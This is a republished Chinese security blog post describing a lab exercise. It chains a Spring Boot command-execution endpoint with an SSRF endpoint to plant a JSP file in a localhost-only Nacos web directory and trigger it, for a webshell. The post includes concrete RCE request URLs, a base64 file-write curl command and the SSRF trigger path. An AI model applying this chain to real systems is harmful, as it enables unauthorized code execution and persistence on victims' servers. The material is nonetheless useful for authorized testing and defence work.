文章总结: 本文探讨微服务架构中RCE与SSRF漏洞的组合利用方法。针对SpringBoot默认不解析JSP的限制,作者通过RCE进行端口扫描和配置文件读取,发现内部Nacos/Tomcat服务,利用RCE将JSP文件写入内部服务目录,再通过SSRF访问本地服务触发解析,形成完整攻击链。文章提供了具体的探测命令、文件路径映射关系和利用步骤,适用于授权测试场景。 综合评分: 85 文章分类: 漏洞分析,WEB安全,红队,实战经验,安全建设
微服务场景下 RCE 和 SSRF 的⼀次组合利⽤
原创
旱柚 旱柚
汤池杂货铺
2026年5月11日 04:21 北京
在小说阅读器读本章
去阅读
前言
随着微服务架构在业务系统中的广泛应用,漏洞利用往往不再局限于单一服务本身,而是与服务部署方式、内部访问关系以及组件解析能力密切相关。 本思路来源于某次项目中的实际场景,抛开直接利用RCE漏洞本身不谈,本文重点围绕 RCE 与 SSRF 的组合利用展开,通过 RCE 实现文件写入,借助 SSRF 访问内部web服务,从而规避 Spring Boot 无法直接解析 JSP 的限制。
靶场拓扑
外部入口:
http://192.168.5.10:8080
内部服务只有 127.0.0.1 可访问:
127.0.0.1:8848/nacos/
127.0.0.1:8081/
漏洞接口设计如下:
命令执行接口:/rce?cmd=
SSRF 接口:/ssrf?url=
第一步:Spring Boot RCE 触发
验证命令执行接口:
'http://192.168.5.10:8080/rce?cmd=id'
执行结果:
第二步:Spring Boot 默认不解析JSP
很多传统 Java Web 利用思路是:
RCE -> 写入 xxx.jsp -> 浏览器访问 xxx.jsp -> JSP 被解析执行
Spring Boot 服务却不太一样,Spring Boot 通常通过内置 Tomcat 启动业务接口,并不启用传统 JSP 解析链路。即使能把 .jsp 写到Spring Boot 可访问目录后,通常不会触发解析执行,而是被当作普通静态资源处理,表现为文件下载、源码输出等。
尝试访问 Spring Boot 可访问目录中写入的 JSP时:
'http://192.168.5.10:8080/static/test.jsp'
写入 test.jsp 后,访问即下载对应文件:
在 Spring Boot 配置下,可能表现为直接返回源码、下载文件、静态文本输出等。也没有纠结于 Spring Boot 写入文件 Getshell 了。
第三步:发现本地 Web 服务
利用 RCE 进行主机信息收集,确认主机进程、监听端口、启动参数、服务配置文件。
1. 查看监听端口
先通过 RCE 查看当前环境监听端口:
'http://192.168.5.10:8080/rce?cmd=ss%20-lntp'
关键结果:
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.11:46351 0.0.0.0:* -
LISTEN 0 1 [::ffff:127.0.0.1]:18006 *:* -
LISTEN 0 1 [::ffff:127.0.0.1]:18005 *:* -
LISTEN 0 100 *:8848 *:* -
LISTEN 0 100 *:8081 *:* -
LISTEN 0 100 *:8080 *:* users:(("java",pid=7,fd=18))
这里可以看到,除了外部访问的 8080,环境里还存在 8848 服务。
直接访问 8848 失败:
'http://192.168.5.10:8848/nacos/'
报错无法连接服务端:
curl: (7) Failed to connect to 192.168.5.10 port 8848 after 1 ms: Couldn't connect to server
这说明 8848 并不是直接对外暴露的入口,仅在服务端本地网络视角可访问,外部无法直接访问。
2. 查看进程和启动参数
继续通过 RCE 查看文件发现两个可疑 Web 目录:
/host/nacos-webapps
/host/tomcat-webapps
两个路径对应如下:
/host/nacos-webapps -> nacos-local:/usr/local/tomcat/webapps/nacos
/host/tomcat-webapps -> tomcat-local:/usr/local/tomcat/webapps/ROOT
也就是说,虽然当前 Spring Boot 服务虽然自身不具备 JSP 解析能力,但在同一微服务环境中,它具备其他 Web 服务应用目录解析 JSP 的条件。
3. 定位并读取配置文件
发现可疑 Web 目录后,读取配置文件。
Nacos
'http://192.168.5.10:8080/rce?cmd=cat%20/host/nacos-webapps/WEB-INF/classes/application.properties'
Tomcat
'http://192.168.5.10:8080/rce?cmd=cat%20/host/tomcat-webapps/WEB-INF/classes/application.properties'
Nacos
Tomcat
Nacos 配置内容:
server.port=8848
server.address=127.0.0.1
server.servlet.context-path=/nacos
web.root=/usr/local/tomcat/webapps/nacos
host.visible.path=/host/nacos-webapps
service.name=nacos-local
access.policy=localhost-only
Tomcat 配置内容:
server.port=8081
server.address=127.0.0.1
web.root=/usr/local/tomcat/webapps/ROOT
host.visible.path=/host/tomcat-webapps
service.name=tomcat-local
access.policy=localhost-only
到这里,链路已经明确:
1. Spring Boot 有 RCE
2. Spring Boot 不解析 JSP
3. 同服务器下存在 8848 Nacos/ 8081 Tomcat
4. 8848 和 8081 只允许服务端本地访问
5. RCE 可以写入 /host/nacos-webapps 和 /host/tomcat-webapps
6. /host/nacos-webapps 和 /host/tomcat-webapps 可能会被作为 Web 目录解析
第四步:通过 RCE 写入 Nacos 的 Web 目录
由于命令行和 URL 转义比较麻烦,可以将 JSP 内容做 Base64 后写入。
curl --noproxy '*' -G \
--data-urlencode "cmd=printf '%s' 'PCUgb3V0LnByaW50bG4oIlRlc3QiKTsgJT4=' | base64 -d > /host/nacos-webapps/test.jsp && ls -l /host/nacos-webapps/test.jsp" \
'http://192.168.5.10:8080/rce'
写入成功:
此时 JSP 并不是写到了 Spring Boot 的相关目录,而是写到了内部服务 Nacos 的目录下。 需要注意访问路径和写入路径的对应关系:
写入路径:/host/nacos-webapps/test.jsp
实际 WebRoot:/usr/local/tomcat/webapps/nacos
内网访问路径:http://127.0.0.1:8848/nacos/test.jsp
外部触发路径:http://192.168.5.10:8080/ssrf?url=127.0.0.1:8848/nacos/test.jsp
第五步:SSRF 突破网络限制实现解析
外部无法直接访问:
127.0.0.1:8848/nacos/test.jsp
SSRF 漏洞接口突破网络,可以访问到内部回环地址:
http://192.168.5.10:8080/ssrf?url=127.0.0.1:8848/nacos/test.jsp
访问解析成功,输出 Test
如果 JSP 是简单命令执行型,可以通过 URL 参数触发:
'http://192.168.5.10:8080/ssrf?url=127.0.0.1:8848/nacos/test.jsp%3Fcmd=id'
最终利用链路:
Spring Boot RCE
-> 尝试写 Spring Boot Web 路径但是无法解析,访问即下载
-> 通过 RCE 查看端口、进程、配置文件
-> 发现存在仅 127.0.0.1 可访问的 Nacos / Tomcat 服务
-> RCE 写 JSP 到 Nacos Web 目录
-> SSRF 访问 127.0.0.1:8848 触发 JSP 解析成功 Getshell
结语
Spring Boot 场景下 RCE 一般无法通过文件 Getshell ,其部署方式通常不会提供 JSP 解析能力。
但在微服务或混合部署环境中,如果同宿主机还存在 Nacos、Tomcat 等具备 JSP 解析能力的 Web 容器,并且存在 SSRF 可以访问 127.0.0.1 本地服务,就可能形成完整的组合利用链路。
严正声明
本文所涉及的微服务场景下 RCE、SSRF、容器挂载、本地回环访问及相关组合利用思路,仅用于合法授权前提下的安全研究、安全测试、攻防演练与风险验证,旨在帮助安全从业人员识别微服务架构中的潜在攻击面与安全隐患,提高系统安全防护能力。凡利用本文内容对任何网络、系统、平台或第三方服务实施未授权行为的,均属于违法行为,由行为人自行承担全部法律责任,与本文作者及发布方无关。
安全研究的目的在于推动安全建设,而非破坏系统安全。技术本身不具备善恶属性,边界在于法律与授权。请严格遵守所在地法律法规、行业规范及网络安全伦理,合法、合规、审慎地开展相关研究与测试工作。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:汤池杂货铺 旱柚 旱柚《微服务场景下 RCE 和 SSRF 的⼀次组合利⽤》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论